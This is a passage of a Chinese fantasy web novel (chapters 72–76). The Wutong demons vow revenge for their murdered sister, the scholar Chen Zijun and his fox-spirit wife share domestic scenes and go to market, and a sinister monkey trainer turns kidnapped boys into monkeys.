大厅的一角处摆放着个高大的神龛,里面陈列着六个雕像,五男一女,其中的女子雕像赫然便是五通娘子。 突然,神龛内发出咔嚓一声。 四个男人都被惊动,纷纷停下动作,四双眼睛齐齐望去。 竟是五通娘子的雕像从中裂开。 见状,四人尽皆面色大变,惊惶愤怒,猛然起身。 “不好,六妹出事了!” 第72章 但求问心无愧 他们也不顾再玩弄那几名女子了,身子一抖,已经套上了衣服,再拿出通向五通娘子处的一个传送阵盘,激活其上的传送阵法。 光芒一闪,再出现时,四人已到了五通娘子的地宫之内。下一瞬,向他们席卷扑面而来的,是熊熊烈焰! 整个地宫竟然已经被人付之一炬! 四人连忙祭出防御法宝,抵挡住了火焰,同时神念一扫,竟无法察觉到五通娘子的半点气息,四张脸上的阴冷之色顿时更浓。 很显然,五通娘子已经死于非命,而这把火就是杀害五通娘子的凶手所放!但此刻整个地宫沦为一片火海,凶手必定已经离去,就算留下了什么蛛丝马迹,估计也已经被这大火烧成了飞灰。 四人都是又惊又怒,牙关咬紧到了极限。 “竟敢杀我们妹子,此人死定了,以为放把火,我们便找不到你了么……” 他们五个和五通娘子本是生活在同一座山中的野兽,无意中分食了一株千年灵树上结出的六颗灵果,从而化形成妖。 六妖深感缘分,干脆结拜成了兄妹,发誓有福同享有祸同当,后来又一起获得了某位邪神的传承。分别号称五通神和五通娘子。 这数百年来,兄妹六人感情一直甚笃,是以在知道五通娘子被人杀害之后,几妖全都生出了浓浓的恨怒之意。 其中一个矮胖子看向身边的瘦高男子,瓮声瓮气地道,“二哥,你擅长推算之术,赶紧算一下,究竟是哪个胆大妄为的王八蛋害了我们六妹!” 那瘦高男子目光阴冷,举手快速掐算,天地之间,顿时有一圈圈无形的波纹四下荡漾而起。 片刻后,瘦高男子的脸色又是阴沉,又是震惊,“可恶,我竟什么都推算不出!” 无论他如何推算,关于这凶手的一切,仿若都是一片迷雾,没有任何线索,想必对方拥有某种能一定程度阻隔他人推算的法术或法宝,又或者,实力超出他太多。 但后一种可能,实在太过微弱,可忽略不计。 瘦高男子目光闪动,握紧了拳头,喃喃自语道:“大哥的推算之术比我更强,但如今正赶上他在闭关,做渡雷劫的准备……看来,只有等几个月后,大哥闭关出来,再请他来推算这凶手的真正身份!” 他说完,四妖交换了下目光,都抬起右手一拍胸口,喷出一团黑雾。 那黑雾化作无数诡异难明的符号,徘徊在天地之间。 四妖冷冷地齐声道:“六妹,我们对天发誓,即便上穷碧落下黄泉,也一定会找出凶手,为你报仇!” …… …… 此刻,那凶手也正在忙碌。 陈子均回到王婶子家时,五通娘娘的化身已经被玉珠儿啃得只剩半只小腿和一只脚,边啃还边嘟嘟囔囔,“骚味儿太大了,不怎么好吃,又被大坏蛋骗了……” 王婶子躺在院子的地上,在玉珠儿开始啃第一口的时候,她已经很干脆地吓晕了过去, 老梧桐怕王婶子着凉,很贴心地变出了几片大树叶子替她盖上,然后蹲在玉珠儿旁边,苦口婆心,絮絮叨叨,“吃人不好,小孩子家家,怎么能吃人呢?” “她又不是人!” “就算不是人,吃妖吃鬼也是不对的,秀才平时没教过你么,万物有灵,众生平等……” 玉珠儿很不耐烦,化出两团蛛丝,塞住耳朵,隔绝了老梧桐的唠叨,继续抱着那条小腿大啃。 老梧桐也很无奈,这孩子,太叛逆了…… 这时,虚空一闪,陈子均突然出现。 童正顿时松了口气,“秀才总算回来了!”接着,又紧张地问,“怎么样了?” 陈子均并未回答,只是轻轻一挥手,一把有些残破的七彩羽扇便出现在众人眼前。 上面残存的少许妖气,使得童正顿时认了出来,“这、这是五通娘娘的本命法宝?!” 陈子均“嗯。”了一声。 童正彻底放心,既然对方的本命法宝都到了陈子均的手中,那其下场,也便不言而喻。 玉珠儿将最后的一只小脚塞进嘴里,咽下后,打了个饱嗝,然后又盯上了那把羽扇,“大坏蛋,这个能吃吗?” “不能。”陈子均手一挥,将羽扇收起。 他打算抽个时间将这把羽扇和另几样从五通娘子处得到的法宝一同重新祭练,换成合适胡翘翘的法宝,等她修炼到一定程度后,便可使用。 再然后,陈子均开始收拾残局。 他先取出一枝上次自罗通判府中得到的百年人参催生而成的五百年人参,掌心一握,整株人参只留下一小撮尘渣,而精华则是被提炼成了一滴散发着浓浓药香的金黄色的参精。 童正掰开奄奄一息的阿庆的嘴,陈子均将这滴参精滴了进去。 有参精补充元气,阿庆只会感觉像突生重病,等修养个十天半月,便能恢复如常。 接下来,陈子均毁掉了那个五通娘娘的雕像,又封印掉王婶子一家四口关于五通娘子化身的记忆。 童正也在帮忙清理一些五通娘子留下的痕迹。 只有玉珠儿无事可干,用蛛丝在树上做了个秋千,荡来荡去。 陈子均和童正一番忙碌,直到月亮快落下之时,才算全部解决。 两人以神念又扫了一遍,没发觉任何遗漏,方才对视一眼。 “好了。“ “今天的事,多亏秀才了。”童正低声说,语气里满是感激。 “如你所说,但求问心无愧。”陈子均微微一笑,“好了,走罢。” “晚上再来找你下棋。”童正的身形渐渐隐没。 陈子均一伸手,将玉珠儿从秋千上拎了下来,“回去了。” 他身形一闪,便回到后院,然后将玉珠儿放下。 玉珠儿蹦蹦跳跳地跑到树边,找到树干上的一个刻度,然后靠在树边,用力挺直身子,一脸期待地对陈子均道,“大坏蛋,你快来帮我看看,最近我有没有长高一点?” 陈子均看了一眼,“没有。” “你再看仔细一点!” “我说没有就是没有。” “可恶!”玉珠儿小脸一沉,忿忿跺脚,“难道我最近吃得还不够好么?!” 陈子均回到卧房,见胡翘翘还在恬然安睡,笑了一下,在她身边躺下,再抬手轻揩着她的小脸。 “我忙了一晚上,你倒睡得香。” 胡翘翘似有所感觉,哼唧了两声,将柔软的小脸儿贴紧他的掌心,等嗅到那个熟悉又痴恋的气味儿之后,方再次安心地陷入甜睡。 陈子均低头在她额上亲了一下,也闭上了眼。 第73章 相公,孩子是怎么来的 胡翘翘做了个梦,梦里,她在帮相公洗澡。 相公赤着身子,浸在浴桶中,她像他替她洗澡时做的那样,用木勺舀起清水,替他冲洗头发,然后便看到晶莹剔透的水珠子从他丝丝缕缕的发丝滴落,再沿着颀长的后颈、宽宽的肩、结实的后背滚下去…… 不知为何,她忽然明白了书本上的一个词“秀色可餐”的含义,她觉得相公看起来真是可口呀,很想尝一尝他的滋味儿,于是忍不住低下头,顺着他的脖颈和肩,轻柔缓慢地舔了起来…… 梦醒了,但胡翘翘依旧闭着眼,意犹未尽地伸出小舌头,舔舔嘴唇。 梦中那光滑香甜的滋味儿仿佛还萦绕在唇舌边。 咦,这感觉,不太对呀,似乎真的舔到了什么。 小狐妖将双眼打开,瞄了一眼,陈子均的鼻尖正在她的面前,上面还有着可疑的水渍,顿时醒悟过来,小脸泛起了一片绯红。 她居然…… 陈子均抹了一下鼻子,问道,“怎么,梦到什么好吃的了吗?” 对哦,全天下最好吃的相公。 胡翘翘弯起眼,只是甜甜的笑,却没好意思说出口,否则相公问她梦见他什么了,她岂不是要羞到无地自容? 见陈子均坐起身,开始整理衣服,她连忙也爬了起来,按住他的手,“相公,让翘翘来。” 陈子均看着她,笑了:“娘子,你是把我当成小孩子了吗,连衣服也要替我穿?” “我没有觉得相公是小孩子,连衣服都不会穿,相公是我心里最能干的人哦。” 胡翘翘笑了一笑,垂下眸,瓷白纤细的小手温柔地替他整理衣襟,声音轻轻柔柔地说,“是因为翘翘喜欢相公,替你穿衣服也好,替你梳头、做饭、洗衣服也好……只是想在相公的生活里留下很多很多属于我的痕迹,这样的话,翘翘就会感觉很开心,很幸福。” 因为太喜欢太喜欢相公了,即便为他做再辛苦的事情,她都甘之若饴,甚至欢喜无限呢。 这一番话,让陈子均的心中涌起了无尽的暖意,他定定地看了胡翘翘会儿,伸手将她轻轻搂入怀中。 胡翘翘的心里也是无比甜蜜,双手环着他的腰,闭上眼,小脸儿埋在他的胸口。 相公的胸膛,很结实,好有安全感…… 很长的一段时间里,两人都没有做声,只拥抱着彼此,任浓浓的爱意在他们之间徘徊悠荡…… 直到鸡啼了第三遍,胡翘翘才依依不舍地松开手,又伸手挽起垂着的腰带,自陈子均的腰上绕过,再细心地打了一个同心结系好。 她打量了陈子均一会儿,又低头看了看自己,她衣襟微微散开,里面一对雪嫩的小兔子若隐若现。 小狐妖脸现好奇,“相公,我突然有一个问题……” “什么?” “为什么你的胸是平平的,我的却是鼓鼓的?” “……因为我是男人,你是女人。” “为什么男人的胸就是平平的,女人的就是鼓鼓的?” 陈子均被她的问题噎住了,斟酌片刻后,方才回答,“因为女人需要奶孩子,所以胸口会鼓鼓的。” 胡翘翘凝眸思索,嗯,她确实见过几个村里的年轻嫂子用胸口奶孩子,相公说得应该没错。 转眼,她又想到了下一个问题,“那,孩子是怎么来的呀?” 陈子均:“……” 小狐妖睁着无辜单纯的水汪汪的大眼睛,里面闪烁着求知若渴的光芒。 陈子均的脑子里瞬间闪过千百个答案,最终轻咳了一声,敷衍道,“一对夫妻成亲之后,孩子便会来了。” “……”她秀气的眉毛困惑地拧了起来,“可是,相公和我都成亲这么久了,为什么我们还没有孩子呢?” “小孩子不是说来就能来的,需要、需要……天时地利人和。” “天时地利人和,又是什么?” “就是……一些必要的条件。” “什么条件?”她很好奇,打破沙锅问到底。 “……等你身体好一些了,我再告诉你。”陈子均顿了顿,“还有,不要随便去问其他人,只能和我聊这些,知道吗?” “翘翘知道了。”胡翘翘乖巧点头。 陈子均在她脸上亲了一口,“娘子真乖,快把衣服穿好,今天我来帮你梳头。” 小狐妖的注意力立即被转移开了,喜滋滋地“嗯。”了一声。 穿衣梳头之后是洗漱。 如往常一样,胡翘翘拿起了马尾毛做的牙刷,准备用它沾一点生麻、苦参、白芷磨成的牙粉,然后仔细刷牙。 相公说过,牙齿早晚都要刷干净,饭后还得漱口,方能让牙齿保持健康洁白,所以她每一天都认真照做。 但今天,刚拿起牙刷,胡翘翘的小脑袋里忽然冒出一个新奇的念头,她扭头看着陈子均,跃跃欲试地道,“相公,如果对牙齿用个洁净术,会怎么样?” 陈子均思考了一会儿,“娘子的想法很有意思,牙齿应该会变得更干净吧。” “那我试试!”胡翘翘将一个洁净术丢进小嘴,接着,一种混合着清凉与清新的感觉在口腔中升起。 她冲陈子均龇出小白牙,“相公快看看,我的牙齿干净吗?“ 陈子均端详了会儿,点头,“很干净,比自己刷的干净多了。” “哇,太棒了,我学的法术终于可以派上新用处啦!”胡翘翘弯起眼,雀跃欢喜地道,“相公,来,我也帮你用一次。” 这样一来,既能练习法术,又能清洁牙齿,可是一举两得! 嘿嘿,自己可真是个小机灵狐狸。 陈子均笑道,“好。” 用洁净术替两人刷了牙,胡翘翘的妖力也用了一小半。 “……我的法力,还是这么一点点,”她鼓了下腮帮子,有些闷闷不乐的模样。 她也没奢望能有多深厚的法力,能和小青差不多就行,如今她的法力和最开始相比,是多了不少,但假若小青的法力有一百那么多,那她的可能就只是从一增加到五而已,依旧少得可怜兮兮。 唉,她好想快点变厉害,可以保护相公。 陈子均笑了,抬手摸着她的秀发,胡翘翘便不自觉地像猫儿般眯起眼享受他的爱抚。 “妖怪的修炼速度本来就比人类修士要慢上不少,而人类修士从感应境到凝魂境,即便是那些生有多个灵窍的天才,也要一两年时间,娘子你才修炼了一个月,进步已经很大了。” 听到他这么一说,胡翘翘总算感觉到了少许安慰,又好奇地问道:“相公,感应境和凝魂境,都是什么?” 陈子均的声音清晰而平缓地解释道,“感应境就是修炼的第一个阶段,修士们通过灵窍能感应天地间的元气,再将元气引入体内,以不同法诀转化为魂力,从而对三魂七魄进行淬炼。” “在感应境阶段,命魂还虚幻无形,但等它被淬炼到一定程度之后,便会开始凝为实质,也即是踏入了凝魂境。” “命魂凝实,有什么好处吗?” “好处很多,”陈子均道,“首先,命魂越强,就代表着魂力越强,施展出来的法术威力也会越大。” “其次,命魂太虚弱的人,更容易被鬼物阴邪勾走命魂,或者堕入各种幻境,或是被邪念恶念缠身,或是被所饲养的鬼物反噬,或是修炼术法之时走火入魔……” 停顿了下,他又道,“甚至可能被心魔趁虚而入。” “心魔,那又是什么?” 陈子均缄默片刻,才淡淡回答,“心魔原本是由域外来的一种魔族,他们无形无体,魔功十分狠辣,而且专伤命魂。上古时期,修士们并没如今这么重视命魂,更强调炼体,结果在神魔大战中吃了心魔的大亏,修士们这才将对命魂的修炼提升到第一要务,炼体成了末流。” 胡翘翘认真点头:“原来是这样,我懂啦。” 陈子均微微一笑,“好了,做早饭吧,等以后有空,我再慢慢给你讲。” 第74章 练习法术 早饭之后,陈子均去了私塾。 胡翘翘刚同小青一块儿收拾完厨房,某个学生的家中便送来了十几个鸡蛋,两条腊肠,以及一大捆蚕豆和一个大萝卜。 胡翘翘忙道了谢,伸手将东西接过去。 送东西来的婶子却没立即离开,而是拉着她说起了八卦,一会儿说谁家的鸡被黄皮子偷了两只,一会儿说自家的大黄昨天逮了只耗子,又说前段时间镇上来了个戏班子,听说生意极好,场场爆满。 小狐狸听得十分投入,一边剥着蚕豆,一边不停“嗯嗯啊啊”地点头。 最后,对方又告诉她王婶子家的阿庆一夜之间生了场急病,瘦了大一圈,连床都下不了了。王婶子夫妻俩吓坏了,一大早便请来了大夫,大夫说他是肾阳消耗过度,需要卧床静养。 胡翘翘很好奇:“肾阳消耗过度?什么意思?” 那婶子一愣,脸上渐显八卦之色,“秀才娘子不懂这个?” “表姐,我有件衣服破了,你的针线借我用一用。”小青的声音突然响起。 “好,我去拿。”胡翘翘连忙应了声。 等她从房间里拿了针线出来,方才的那个婶子也已经走了。 小青接过针线,心中暗松了口气,又叹了口气。 这小狐妖真是单纯得出奇,没准什么时候被人骗去卖了,还得帮人乖乖数钱呢! 唔,这话也不全对,有公子在,谁能骗得走她呀? …… …… 小青拿着针线,装模做样地回了房间,片刻后出来将针线还给胡翘翘,又同她一块儿剥起了蚕豆。 这时候的蚕豆才刚成熟,最是鲜嫩,两个女孩儿将豆荚夹在纤白的手指之间,微一用力,豆荚断开,里面胖乎乎的绿色蚕豆粒便被挤了出来。 没多久,剥好的蚕豆粒便装了半笸箩,剩下的豆荚豆杆两女也没丢,小青将它们拿到前院,铺在地上,等被太阳晒干之后还能用来烧火。 胡翘翘打算做个蚕豆炒鸡蛋,既鲜又嫩,相公平时很爱吃。 至于那个萝卜,半个削皮再切成丝儿,搭配青椒腊肠便是一盘菜。剩下的半个,下午让小青去河边抓几条小鲫鱼,做个萝卜鲫鱼汤也是极好的。 正准备削萝卜时,她又想起了早上用洁净术来清洁口腔的事。 小狐狸眨眨眼,或许,也能用法术来削萝卜皮? 她思索片刻,先使用呼风术将妖力压制成小小的风刃,然后很认真地慢慢调整风刃的角度,再全神贯注地控制着它一点点地给萝卜削皮。 第一次尝试,自然很不熟练,那风刃不是偏了歪了,就是一下连皮带肉削走一大块,看着都心疼。 好在胡翘翘别的优点没有,耐心向来大大的充足,不急不躁,继续专心练习。 旁边的小青几次提出想帮忙,都被胡翘翘拒绝了。 这也是一个对法术的练习机会,她自然要亲力亲为。 片刻后,一个坑坑洼洼的萝卜总算削好了,胡翘翘抬起小手,素白的手背抹了下额头上的汗,露出一个浅笑,感觉自己对法术的控制力有了少许长进,心中颇有成就感。 可惜的是,她好不容易恢复了大半的妖力,在削了这个萝卜之后,又消耗了大半。 这时,胡翘翘又想到什么,抬头问道,“小青,怎么才能让妖力涨得快一点,你知道么?” 青蛇一怔,随即道:“我们妖怪要增长妖力,一般有三种方法。” 胡翘翘静等下文。 “第一种,什么也不用做。” “啊?” “是呀,”青蛇笑笑,“我们妖怪即便什么也不做,每长一岁,妖力就会自然增加一分,不过,这种方式增加的妖力不是很多,所以想要成功度过雷劫,还是要依靠后面两种方式。” 胡翘翘恍然:“原来是这样。” “第二种就是修炼了,我们妖怪在化形的时候,就能激活血脉,自动领悟出本族的修炼之法和天赋技能。”小青说,“但不同种族的修炼之法截然不同,我是蛇族,便只能修炼蛇族的心法,而你们狐族,也有狐族自己的修炼心法,各族都不能胡乱修行它族心法,否则,轻则无法修炼,重则走火入魔。” 闻言,胡翘翘又露出少许疑惑,“但我记得,之前小青你曾说妖怪化形之后,便能修炼人类修士的心法了,还给了我那本太阴感应诀……” “因为我们化形后,身体经脉与三魂六魄就与人类一样,命魂还生有灵窍,虽说我们的灵窍感应元气的速度比人类修士要慢得多,但修行人类法诀并无问题。” 青蛇顿了顿,补充道,“不过,我们若想要转修人类的心法,有几个弊端。首先,我们妖族传承的修炼之法都已经过千万年的精炼,为本族量身打造,和大部分的人类心法相比也不弱。其次,妖力和魂力虽本质十分相近,但依旧有细微的区别,我们若想要转修,就必须将之前的妖力尽数放弃,从零开始。” 尤其是后一点,一个妖怪若想转修人类心法,便等于化形前的数百年辛苦直接化为乌有,这不是魄力大不大的事了,这直接是脑子进了水。 因此,不到迫不得已,没有妖怪会如此选择。 不过胡翘翘却不同,一来她忘却了狐族本身的修炼之法,二来,她本身的妖力也少到近乎没有,修行《太阴感应诀》便水到渠成。 胡翘翘听得聚精会神,点点头,“知道啦,第三种方式呢?” “第三种方式就是吞吃其他妖怪。” 胡翘翘惊讶地“啊。”了一声,“这样也行?” “嗯,但这样外来的妖力不能马上化为己有,需要花不少时间去炼化吸收,而且,非自己修炼得来的妖力有时会与自己的妖力冲突,让妖力变得驳杂不纯,影响根基。所以,这种办法也落于下乘,还易沾染因果,真正的大妖、巨妖都不屑为之,多数还是以自己修炼为主。” 若不是这样,妖怪们今天你吃我,明天我吃你,都不用修士动手诛杀,自己就能把自己吃灭绝了。 胡翘翘似懂非懂地点了点头,按她的理解,大概就是和吃东西一样,吃多了会撑,需要慢慢消化,乱吃的话还可能会拉肚子,反而损伤身体,得不偿失。 “除了这三种方法之外,再没别的了吗?” “还有一些灵药灵草,能帮助我们增进修为,对根基的影响却很小。不过,它们可遇不可求,所以也没法长期服用……” 说到这里,青蛇忽地想到了整个青山宗都只有那么寥寥几株的,当命根子眼珠子一样的护着的,结果在后院和大白菜一般长了一大片的养魂玉芝,声音顿时噎了几秒。 呃,这不就是个活生生的反例摆在她眼前么…… 青蛇眼角抽搐,不不不,这只是……例外中的例外! 做不得数! …… …… 傍晚时分,家家户户都升起了炊烟。 胡翘翘在门口翘首踮脚。 陈子均的身影出现时,她立即心花怒放,拎起裙摆,一溜儿地跑过去,“相公~~” 流霞映照两人的身影。 火一般的耀眼。 生出无比的温暖、幸福之感。 日头渐沉,夫妻双双把家还。 快乐的小狐妖将准备好的饭菜摆上桌,然后一个劲儿帮陈子均夹菜,直到他的饭碗里堆得高高的,她才弯起眼,感觉到 乐趣十足。 陈子均也夹了块鱼肉,放在她碗里,笑道:“过几天又是休沐,娘子有没有想去的地方?” 嗯,相公替她夹的鱼肉格外鲜甜呢。 “马上就立夏啦,相公去年的衣服也旧了,”胡翘翘咽下嘴里的鱼肉,一脸期待,“我想去市集买些布,给相公做几件夏天的衣服,好不好?” 陈子均自然答应。 第75章 耍猴人 数日时间一晃即过。 清晨,曦光微明。 同往日一般,在清平镇还是静悄悄之时,顾行天便已起床。 在院子里打了套拳,活动开筋骨,他拎上个大木桶,到巷口的水井去打水。 快到巷口时,耳边传来一阵轱辘声。 再走几步,站在井边的一道纤瘦身影便跳入他的眼内。 那是个十四五岁的少女,一张小巧的瓜子脸,眉眼似乎还未完全长开,但已颇为清秀,此时正有些吃力地摇着轱辘。 顾行天三步并作两步地过去,将手中木桶放下,不由分说地从少女手中接过摇把。 “让我来。” 轻松摇动几下,一桶水便打好了。 少女快速瞄了他一眼,又垂下头,“谢谢顾大哥……每次都要麻烦你,真不好意思。” “都是街坊邻居,一点小事有什么好谢的。”顾行天也低着头,不去看她,嘴里道,“你且等等,我打完水之后,再帮你将水拎回去。” 少女“嗯。”了一声,低着的唇角微微勾起。 没多久,顾行天一左一右地拎起两人的木桶,“好了,走罢。” 过了片刻,他将少女送到一户院中长着樱桃树的门外,才稳稳地放下水桶。这一路,那桶里竟连一滴水都没洒出,换她自己来拎,则至少要泼掉小半桶。 正在顾行天转身的时候,少女忽然“咦“了声,“顾大哥,你的衣服破了。” 顾行天低头一看,果然见到道长长的口子,应该是在他没注意时,被什么尖锐之物勾到了。 少女犹豫了会儿,轻抿着唇道,“你先回去,将衣服换下再拿来,我替你补补。” 顾行天耳根有些发烫:“不用麻烦,我爹他会缝的……” “你们男人没有耐心,针线做不精细,”少女的声音越发轻了,也越发柔和,“伯伯每次给你缝的衣服,都歪七扭八,既不好看,也不结实。”她顿了顿,道:“你快去吧,我、我在这里等你。” “……那、就谢谢燕梅妹子了。” 少顷,换了身衣服的顾行天将那件破外衣拿了过来。 少女接在手中,柔声道,“我吃过早饭就动手,等缝好给你拿去。” 顾行天呐呐道:“不用急,慢慢来。” 半个时辰后,少女拿出针线,端了一张小板凳坐在樱桃树下,边听着头顶的鸟儿叫声,边低着头,仔仔细细地替顾行天缝补起来。 一个六七岁的小男孩儿从她身边跑过,少女连忙抬头,“小虎,你去哪呀?今天有市集,人很多,可能有拐子,你别乱跑!” 这两个月,每逢市集,都会有孩子失踪,大家怀疑是被拐子拐走了。 小男孩头也不回,“我去铁柱家找铁柱玩儿!” “那好吧,别同不认识的人讲话,”少女望着弟弟的背影,关切地叮嘱,“还有,中午早些儿回家吃饭!” “知道了!” 小男孩找到了玩伴的家,两人略作商量,决定再去找别的孩子。 刚出门,忽然听到树上传来一阵吱吱嘎嘎的叫声。 两个男孩顺着那声音望去,发现外面的树枝上竟有一只灰色的小猴子,它眨着滴溜溜的眼珠子看了两人一会儿,便纵身往前蹦跳而去。 “咦,哪来的猴子。”男孩们兴奋起来,“别跑!” 镇上树多,小猴子从这棵树跳到那棵树,引得男孩们仰头追逐,这小猴子似乎有意在逗他们,若是发现男孩追不动了或是有放弃的念头,还会停下来等待他们一会儿。 渐渐地,他们来到镇上某个偏僻无人处,只有一处小屋。 “阿福,阿福。”不远处,一个干瘦佝偻,脸上长着块大黑斑的男人边走边喊,“又跑哪儿去了?” 小猴子忽然“吱”地叫了一声,从树上跳下。 “阿福,你在这儿啊,真淘气,让我好找。”男人说了声,小猴子一下跳到了他的肩上,他拍了几下小猴子的背,目光却在上上下下地端详着两个男孩。 两个男孩倒也认得他,这男人是这几个月才来镇上的耍猴人,每逢市集,他就会指挥几只猴子表演各种把戏,很受欢迎。两人看着他肩上的小猴子,一脸羡慕好奇。 见四周无人,男人露出个笑,脸上的那块大黑斑也跟着扭曲起来,使得那笑看着起来有些可怕。 “怎么,你们两个是想和它一块儿玩?” 两个男孩点点头。 “我就住那儿,”男人指了指那所小屋,笑容满面,“里面还有好多只猴子呢,怎么样,想不想进去玩一会儿?” 两个小家伙犹豫了会儿,终究是没抵挡住“和猴子一块儿玩”的诱惑。 而且,这人他们在市集上也见过好几次了,应该不算陌生人! 两人点点头,跟着那男人走进屋子。 尽管太阳已经出来了,但这屋中仍旧十分阴暗,还弥漫着一股如腐烂的水果般的难闻气味。旮旯里是几个铁笼,里面关着大小好几只猴子。若是屋子里的光线能明亮一些,便会发现,有的猴子身上的毛皮还带着斑斑血迹,似乎遭受过残忍的殴打与折磨。 一见到男人,猴子们毛茸茸的脸上,竟瞬间露出极度人性化的惊恐之色,甚至立即钻进笼子的角落,开始瑟瑟发抖。 不知为何,见到这一幕,两个男孩都不安起来,这不安甚至浓重压过了对猴子的兴趣,两人对视一眼,都在同伴的眼中看到了离开的念头。 他们正要转身,忽然,方才那男人抬起手,手心按在了他们的头顶,并念了几句什么。 顿时,他们手脚如同被铁锁锁住,无法动弹,惊骇又不解。 这是怎么了?! 男人似乎看出了他们的困惑,舔了舔枯槁的嘴唇,“不要急,马上你们就知道了。” 说罢,他发出了嗬嗬嗬的怪笑,那笑声,十分瘆人,任谁听了都会起一身鸡皮疙瘩! 随后,他张开嘴,下一刹那,从他的喉咙深处,突然喷出了一股浓浓的黑气。 这股黑气如有生命一般,直接笼罩了两个男孩。 等黑雾消失之后,两个男孩已经无影无踪,取而代之的,赫然是两只小猴! 两只小猴彼此对视一眼,都开始颤抖,口中发出了惊恐之极的“吱吱”叫声! 似乎很享受它们的颤抖和眼中绝望的恐惧,男人再次发出那嗬嗬怪笑,喃喃道,“又是两只……” 第76章 问鸟寻人(二合一) 对镜系上面纱,胡翘翘喜悦轻快地起身,看着陈子均,“相公,我好啦。” 陈子均伸出手,替她调整了一下鬓边栀子花的角度,“嗯,走吧。” 胡翘翘又问一边的青蛇,“小青,你真的不去吗?赶集可有意思了。” 青蛇摇了下脑袋,懒洋洋地道,“我宁可留在家里修炼,翘翘姐你和公子一块儿去吧。” 当初她和姐姐住在钱塘县,热闹繁华远胜这小小的清平镇百倍,她怎么可能同没见过世面的小狐妖一般,将去镇上赶集这种事儿当做天大的乐趣。 胡翘翘也不勉强。 如此一来,她正好可以和相公单独相处,嘻嘻。 片刻后,夫妻俩来到了村口,坐上牛车。 前些时顾行天送来了那块硝制好的熊皮,还有几块其它毛皮,陈子均也一并带上了,等到镇上找家皮毛铺子将它们卖掉,免得堆放在家中占地方,为此,他还多付了一文钱的车费。 辰时一刻,驾牛车的两名村汉扬起鞭子,两辆牛车朝着镇上的方向驶去。 女人们乘坐的牛车在前,男人们的牛车在后。 往常两驾牛车的速度相差不大,但今天,不知为何,陈子均他们那架牛车的老牛越走越慢。 半个时辰后,已经和前面的牛车拉开了数百米的距离。 驾车的汉子有些焦急不耐,不停扬起鞭子抽打,拉车的是一头老牛,尽管已奋起全部气力,但依旧力不从心,越走越慢,又过了半柱香,它忽然“哞——”的悲鸣一声,口吐白沫,紧接着,两条前腿跪倒在地。 牛车一歪,车内的人也都吓了一跳。 驾车的汉子跳下车辕,用力扯着牛鼻,想将它拉起来,但老牛已经精疲力尽,几次颤抖着前腿刚站起来,又再度跪下,最后任他怎么折腾,都不再起身。 见状,村民们唏嘘感叹。 “唉,这头牛太老了。” “都已经十来岁了吧。” “看这样子,八成快不行了。” “现在怎么办?” 这时,陈子均迈步下车,走到老牛的身边。 他轻轻抚摩了几下老牛的头顶,温声道,“再坚持一会儿,到了镇上以后,就可歇息了。” “哞——”老牛忽然精神一振,抬头舔了舔他的掌心,接着,两条前腿用力挺直,颤悠悠地站了起来。 众人又惊又喜。 “哎呀,它又起来了!” “哇,还是秀才公有本事。” “秀才公定是文曲星下凡,连牛都听他的话。” “就是。” 陈子均微微一笑,回到车内坐好。 牛车再次往前驶去,没多久,平平稳稳地抵达了镇上。 众人下牛车时,那头老牛看着陈子均,又昂起头,哞地叫了一声。 陈子均和胡翘翘同众人暂别。随后,两人去了毛皮铺子,将几张毛皮一起卖了近二十两银子,仅那张熊皮就是十两,占了大头。 陈子均将银子都交给胡翘翘,笑道:“娘子拿去买东西。” “相公,这么多钱都给我?”胡翘翘惊呆了。 “是啊。” “还、还是相公自己收着吧!” “这些小钱算什么,”陈子均说,“何况,我的就是娘子的,娘子想买什么只管买,要是不够,我这里还有。” “相公……”胡翘翘掀起长睫,满眼的感动和甜蜜,要不是四周有人,她恐怕会一下扑到陈子均的怀里,将他抱得紧紧的,颤声道,“你怎么对翘翘这么好呀,翘翘真的好开心!” “这么点小事就让你开心成这样,”陈子均都有些失笑了,“让人听到,没准以为我是个大坏蛋,你是受尽我欺负的小可怜。” “怎么会,相公是全世界最好的人!”胡翘翘心里甜蜜无比,将银子放进小荷包,感觉小荷包变得鼓鼓的,她开心地轻拍两下,拉住陈子均的大手,“我们去买东西吧!” 在市集逛了片刻,胡翘翘买了不少爱吃的零嘴儿。 她最喜欢的就是麦芽花生糖,甜甜的麦芽糖混着颗粒分明的碎花生,上面还洒满了芝麻,刚出锅切块,冒着热气,吃起来又香又甜又软,除了稍微有一点儿粘牙之外,几乎无可挑剔,就连不爱吃甜的陈子均也跟着她吃了两块。 吃了几块后,胡翘翘总算满足,边走边伸出舌头,开始舔指头上沾的芝麻粒。 尽管她已经用香粉调整过了肤色,修饰过了眉形,但饱满的樱唇,柔润的香舌却无法遮盖,于是,这稍带孩子气的动作,由她做出,竟然显得极为诱人,惹得不少男人纷纷侧目。 见状,陈子均抽出手帕,再握住她的手,替她将芝麻擦掉。 “多大的人了,还不会用手帕吗?” “……翘翘忘记啦。” “这也忘记,那也忘记,没准哪一天把我也忘了。” “不会的,翘翘对天发誓,就算忘了自己,也绝对不会忘了相公。” “马屁精。” “嘻嘻,相公,我们再去那边看看……” 胡翘翘又买了些零七碎八的小玩意,她记起小青的梳子坏了,还给小青挑了一把木梳,饶是如此,加起来连一两银子也没用掉。 看到一家布店,深感财大气粗的胡翘翘便想起了这次来市集的主要目的——买布给相公做衣服。 嗯,里外都要做。 至于她自己和小青,顺带着做一两件也不错。 胡翘翘拉着陈子均,进去挑布。 知道陈子均喜欢素净的颜色,她便选了一种月白色,一种兰青色的布,用来给他做外衣,亵衣用的布则是本色和白色。 因为小青多穿绿色,胡翘翘给小青选的是几块不同绿色的布料,至于她自己,更偏爱鲜艳花哨,就选了一块绯紫相间的做裙子,一块藕荷色的做上衣,还有一块石蕊红的做短衫。 几大块布买下来,也才用了二两多银子。 什么,你问她为什么不买成衣? 给相公的衣服,她自然要亲手做啦! 对她来说,这是最大的幸福和乐趣所在! 至于给她自己和小青做的衣服,就当练手好了,毕竟做衣服这种事儿,也是需要多多练习才能越做越好的嘛! 摸着依旧鼓鼓的小荷包,胡翘翘妙目转动,犹豫着是先去吃午饭,还是再逛一会儿。 这时,看着不远处的一条小巷,陈子均忽地想起了顾行天。 不知那小子在不在家,既然都来了,索性去探望一下他父亲的身体情况。 陈子均和胡翘翘便又买了几样桂花糖蒸栗粉糕、水晶冬瓜糖、吉祥如意果之类的点心,拎在手里,片刻后,来到顾行天的家门前。 敲门后,没多久,门被打开。 看到是陈子均,顾行天惊喜万分,“公子,你怎么来了?!” “今天陪我娘子来镇上赶集,”陈子均微微一笑,“顺路来看一下你们父子。” “好的,公子快请进。” 顾行天连忙让两人进了屋。 